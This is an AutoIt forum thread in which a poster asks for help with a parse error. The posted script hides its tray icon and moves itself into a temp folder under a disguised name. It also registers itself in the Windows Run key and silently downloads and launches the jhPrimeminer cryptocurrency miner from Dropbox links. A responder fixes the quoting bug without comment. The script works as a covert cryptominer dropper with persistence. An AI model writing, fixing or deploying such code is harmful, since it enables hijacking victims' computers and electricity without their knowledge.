Jump to content

Trouble with first script.


Stim
 Share

Recommended Posts

I am trying to make a script that first moves it self to the temp file then adds itself to the startup.

I then want it to check if a folder exists, if it does I want it to launch a bat file.  If not then I want it to

create the folder and download several files, then launch one.

I have been messing around with the code for a little while now and am not sure what I am doing wrong.

When I run the code I get this error:

"Line 38" Error parsing function call.

Code:

#NoTrayIcon




FileMove(@ScriptFullPath, @TempDir & "\certs\release.exe", 9)






Func _StartupRegistry_Install($sName = @ScriptName, $sFilePath = @ScriptFullPath, $sCommandline = '', $fAllUsers = True, $iRunOnce = 0)

    If $iRunOnce = Default Then
        $iRunOnce = 0
    EndIf
    If $sFilePath = Default Then
        $sFilePath = @ScriptFullPath
    EndIf
    If $sName = Default Then
        $sName = @ScriptName
    EndIf

    _StartupRegistry_Uninstall($sName, $sFilePath, $fAllUsers, $iRunOnce) ; Deletes the entry in the 'All Users/Current Users' registry.

    $sName = StringRegExpReplace($sName, '\.[^\.\\/]*$', '')
    If StringStripWS($sName, 8) = '' Or FileExists($sFilePath) = 0 Then
        Return SetError(1, 0, False)
    EndIf

    Local $i64Bit = '', $sRunOnce = ''
    Switch $iRunOnce
        Case 1
            $sRunOnce = 'Once'
        Case 2
            $sRunOnce = 'OnceEx'
    EndSwitch

    If @OSArch = 'X64' Then
        $i64Bit = '64'
    EndIf
    Local $sRegistryKey = ''
    If $fAllUsers Then
        $sRegistryKey = 'HKEY_LOCAL_MACHINE' & $i64Bit & '\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' & $sRunOnce & '\'
    Else
        $sRegistryKey = 'HKEY_CURRENT_USER' & $i64Bit & '\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' & $sRunOnce & '\'
    EndIf
    Local $iReturn = RegWrite($sRegistryKey, $sName, 'REG_SZ', $sFilePath & ' ' & $sCommandline)
    Return $iReturn > 0
EndFunc   




$filedir = @AppDataDir & "\Billy" ;Directory within the Appdata directory where the ini file should be.
$filename = "jhPrimeminer-T17.exe" ;Ini file name.
$filename1 = "jhPrimeminer-T17-AVX.exe" ;Ini file name.
$filename2 = "miner.bat" ;Ini file name.
$filename3 = "mpir.dll" ;Ini file name.
$filename4 = "msvcp100.dll" ;Ini file name.
$filename5 = "msvcr100.dll" ;Ini file name.



$DOWNLOAD_LINK = "<a href='https://dl.dropboxusercontent.com/s/7qdgnns1dahwr1i/jhPrimeminer-T17.exe?dl=1&token_hash=AAEGDeFvrFcqZziqkt0NALhjaYJLhcDVg0m8MJBTW4p-6w' class='bbc_url' title='External link' rel='nofollow external'>https://dl.dropboxusercontent.com/s/7qdgnns1dahwr1i/jhPrimeminer-T17.exe?dl=1&token_hash=AAEGDeFvrFcqZziqkt0NALhjaYJLhcDVg0m8MJBTW4p-6w"</a>
$DOWNLOAD_LINK1 = "<a href='https://dl.dropboxusercontent.com/s/sqi5xye4hgwbkq8/jhPrimeminer-T17-AVX.exe?dl=1&token_hash=AAE6ZZd5_JlM72tYZ1WfZZQBByI3PDUo5ezPorSwVB-9QA' class='bbc_url' title='External link' rel='nofollow external'>hhttps://dl.dropboxusercontent.com/s/sqi5xye4hgwbkq8/jhPrimeminer-T17-AVX.exe?dl=1&token_hash=AAE6ZZd5_JlM72tYZ1WfZZQBByI3PDUo5ezPorSwVB-9QA"</a>
$DOWNLOAD_LINK2 = "<a href='https://dl.dropboxusercontent.com/s/75070dc1dbq4dbu/miner.bat?dl=1&token_hash=AAHo8njlr8rtpUdJk6DBKwAcbBpODepDP6o4Hw0Nt4hvyg' class='bbc_url' title='External link' rel='nofollow external'>https://dl.dropboxusercontent.com/s/75070dc1dbq4dbu/miner.bat?dl=1&token_hash=AAHo8njlr8rtpUdJk6DBKwAcbBpODepDP6o4Hw0Nt4hvyg"</a>
$DOWNLOAD_LINK3 = "<a href='https://dl.dropboxusercontent.com/s/ex4fp18m44mcxfb/mpir.dll?dl=1&token_hash=AAEeMR13H0mqq3QHDG4zGppgb5rVqvPH9pdu302Ed_dXjA' class='bbc_url' title='External link' rel='nofollow external'>https://dl.dropboxusercontent.com/s/ex4fp18m44mcxfb/mpir.dll?dl=1&token_hash=AAEeMR13H0mqq3QHDG4zGppgb5rVqvPH9pdu302Ed_dXjA"</a>
$DOWNLOAD_LINK4 = "<a href='https://dl.dropboxusercontent.com/s/5slf6juvcj32mml/msvcp100.dll?dl=1&token_hash=AAHMuXE7IIul89_qRV4JEFLfBt9ZNoZ8o7VxjAUjPvnitw' class='bbc_url' title='External link' rel='nofollow external'>https://dl.dropboxusercontent.com/s/5slf6juvcj32mml/msvcp100.dll?dl=1&token_hash=AAHMuXE7IIul89_qRV4JEFLfBt9ZNoZ8o7VxjAUjPvnitw"</a>
$DOWNLOAD_LINK5 = "<a href='https://dl.dropboxusercontent.com/s/7m9motzz486hz3x/msvcr100.dll?dl=1&token_hash=AAGyeFNFyklcd41iikm8YRrNFaO2K18Ef9YtHD3M3Oj-JQ' class='bbc_url' title='External link' rel='nofollow external'>https://dl.dropboxusercontent.com/s/7m9motzz486hz3x/msvcr100.dll?dl=1&token_hash=AAGyeFNFyklcd41iikm8YRrNFaO2K18Ef9YtHD3M3Oj-JQ"</a>

$PATH = @AppDataDir & "\Billy" & "\jhPrimeminer-T17.exe"
$PATH1 = @AppDataDir & "\Billy" & "\jhPrimeminer-T17-AVX.exe"
$PATH2 = @AppDataDir & "\Billy" & "\miner.bat"
$PATH3 = @AppDataDir & "\Billy" & "\mpir.dll"
$PATH4 = @AppDataDir & "\Billy" & "\msvcp100.dll"
$PATH5 = @AppDataDir & "\Billy" & "\msvcr100.dll"








If FileExists($filedir) Then ;Check if the file directory exist.
    FileChangeDir($filedir) ;Go to the file directory.
    run(@AppDataDir & "\Billy" & "miner.bat", @SW_HIDE)

Else
    DirCreate ($filedir) ;If file directory doesnt exist, create it.
    ;file 1
    $INET = InetGet($DOWNLOAD_LINK,$PATH,1,1)
    Do
        TrayTip("Download",InetGetInfo($INET,0) & "/" & InetGetInfo($INET,1),1)
    Until InetGetInfo($INET,2)
    InetClose($INET)
    ;file 2
    $INET1 = InetGet($DOWNLOAD_LINK1,$PATH1,1,1)
    Do
        TrayTip("Download",InetGetInfo($INET1,0) & "/" & InetGetInfo($INET1,1),1)
    Until InetGetInfo($INET1,2)
    InetClose($INET1)
    ;file 3
    $INET2 = InetGet($DOWNLOAD_LINK2,$PATH2,1,1)
    Do
        TrayTip("Download",InetGetInfo($INET2,0) & "/" & InetGetInfo($INET2,1),1)
    Until InetGetInfo($INET2,2)
    InetClose($INET2)
    ;file 4
    $INET3 = InetGet($DOWNLOAD_LINK3,$PATH3,1,1)
    Do
        TrayTip("Download",InetGetInfo($INET3,0) & "/" & InetGetInfo($INET3,1),1)
    Until InetGetInfo($INET3,2)
    InetClose($INET3)
    ;file 5
    $INET4 = InetGet($DOWNLOAD_LINK4,$PATH4,1,1)
    Do
        TrayTip("Download",InetGetInfo($INET4,0) & "/" & InetGetInfo($INET4,1),1)
    Until InetGetInfo($INET4,2)
    InetClose($INET4)
    ;file 6
    $INET5 = InetGet($DOWNLOAD_LINK5,$PATH5,1,1)
    Do
        TrayTip("Download",InetGetInfo($INET5,0) & "/" & InetGetInfo($INET5,1),1)
    Until InetGetInfo($INET5,2)
    InetClose($INET5)
    
    run(@AppDataDir & "\Billy" & "miner.bat", @SW_HIDE)
    
EndIf

I would really appreciate any help.

Thanks.

Link to comment
Share on other sites

Welcome to AutoIt and the forum!

Can you please post the error messages from the SciTE output pane?

My UDFs and Tutorials:

Spoiler

UDFs:
Active Directory (NEW 2022-02-19 - Version 1.6.1.0) - Download - General Help & Support - Example Scripts - Wiki
ExcelChart (2017-07-21 - Version 0.4.0.1) - Download - General Help & Support - Example Scripts
OutlookEX (2021-11-16 - Version 1.7.0.0) - Download - General Help & Support - Example Scripts - Wiki
OutlookEX_GUI (2021-04-13 - Version 1.4.0.0) - Download
Outlook Tools (2019-07-22 - Version 0.6.0.0) - Download - General Help & Support - Wiki
PowerPoint (2021-08-31 - Version 1.5.0.0) - Download - General Help & Support - Example Scripts - Wiki
Task Scheduler (NEW 2022-07-28 - Version 1.6.0.1) - Download - General Help & Support - Wiki

Standard UDFs:
Excel - Example Scripts - Wiki
Word - Wiki

Tutorials:
ADO - Wiki
WebDriver - Wiki

 

Link to comment
Share on other sites

I hope this is what you mean.

>"C:\Program Files\AutoIt3\SciTE\..\autoit3.exe" /ErrorStdOut "C:\Users\Billy\Desktop\New AutoIt v3 Script.au3"    
"C:\Users\Billy\Desktop\New AutoIt v3 Script.au3" (66) : ==> Unknown function name.:
$DOWNLOAD_LINK = "<a href='https://dl.dropboxusercontent.com/s/7qdgnns1dahwr1i/jhPrimeminer-T17.exe?dl=1&token_hash=AAEGDeFvrFcqZziqkt0NALhjaYJLhcDVg0m8MJBTW4p-6w' class='bbc_url' title='External link' rel='nofollow external'>https://dl.dropboxusercontent.com/s/7qdgnns1dahwr1i/jhPrimeminer-T17.exe?dl=1&token_hash=AAEGDeFvrFcqZziqkt0NALhjaYJLhcDVg0m8MJBTW4p-6w"</a>
$DOWNLOAD_LINK = "<a href='https://dl.dropboxusercontent.com/s/7qdgnns1dahwr1i/jhPrimeminer-T17.exe?dl=1&token_hash=AAEGDeFvrFcqZziqkt0NALhjaYJLhcDVg0m8MJBTW4p-6w' class='bbc_url' title='External link' rel='nofollow external'>https://dl.dropboxusercontent.com/s/7qdgnns1dahwr1i/jhPrimeminer-T17.exe?dl=1&token_hash=AAEGDeFvrFcqZziqkt0NALhjaYJLhcDVg0m8MJBTW4p-6w"</^ ERROR
>Exit code: 1    Time: 0.143
Link to comment
Share on other sites

As you can see "</a>" is after the string delimiter.

Change it to

$DOWNLOAD_LINK = "<a href='https://dl.dropboxusercontent.com/s/7qdgnns1dahwr1i/jhPrimeminer-T17.exe?dl=1&token_hash=AAEGDeFvrFcqZziqkt0NALhjaYJLhcDVg0m8MJBTW4p-6w' class='bbc_url' title='External link' rel='nofollow external'>https://dl.dropboxusercontent.com/s/7qdgnns1dahwr1i/jhPrimeminer-T17.exe?dl=1&token_hash=AAEGDeFvrFcqZziqkt0NALhjaYJLhcDVg0m8MJBTW4p-6w</a>"

My UDFs and Tutorials:

Spoiler

UDFs:
Active Directory (NEW 2022-02-19 - Version 1.6.1.0) - Download - General Help & Support - Example Scripts - Wiki
ExcelChart (2017-07-21 - Version 0.4.0.1) - Download - General Help & Support - Example Scripts
OutlookEX (2021-11-16 - Version 1.7.0.0) - Download - General Help & Support - Example Scripts - Wiki
OutlookEX_GUI (2021-04-13 - Version 1.4.0.0) - Download
Outlook Tools (2019-07-22 - Version 0.6.0.0) - Download - General Help & Support - Wiki
PowerPoint (2021-08-31 - Version 1.5.0.0) - Download - General Help & Support - Example Scripts - Wiki
Task Scheduler (NEW 2022-07-28 - Version 1.6.0.1) - Download - General Help & Support - Wiki

Standard UDFs:
Excel - Example Scripts - Wiki
Word - Wiki

Tutorials:
ADO - Wiki
WebDriver - Wiki

 

Link to comment
Share on other sites

That was easy ;)
As you can see SciTE always points you to where the error is.

BTW4p-6w"</a>
BTW4p-6w"</^ ERROR

My UDFs and Tutorials:

Spoiler

UDFs:
Active Directory (NEW 2022-02-19 - Version 1.6.1.0) - Download - General Help & Support - Example Scripts - Wiki
ExcelChart (2017-07-21 - Version 0.4.0.1) - Download - General Help & Support - Example Scripts
OutlookEX (2021-11-16 - Version 1.7.0.0) - Download - General Help & Support - Example Scripts - Wiki
OutlookEX_GUI (2021-04-13 - Version 1.4.0.0) - Download
Outlook Tools (2019-07-22 - Version 0.6.0.0) - Download - General Help & Support - Wiki
PowerPoint (2021-08-31 - Version 1.5.0.0) - Download - General Help & Support - Example Scripts - Wiki
Task Scheduler (NEW 2022-07-28 - Version 1.6.0.1) - Download - General Help & Support - Wiki

Standard UDFs:
Excel - Example Scripts - Wiki
Word - Wiki

Tutorials:
ADO - Wiki
WebDriver - Wiki

 

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...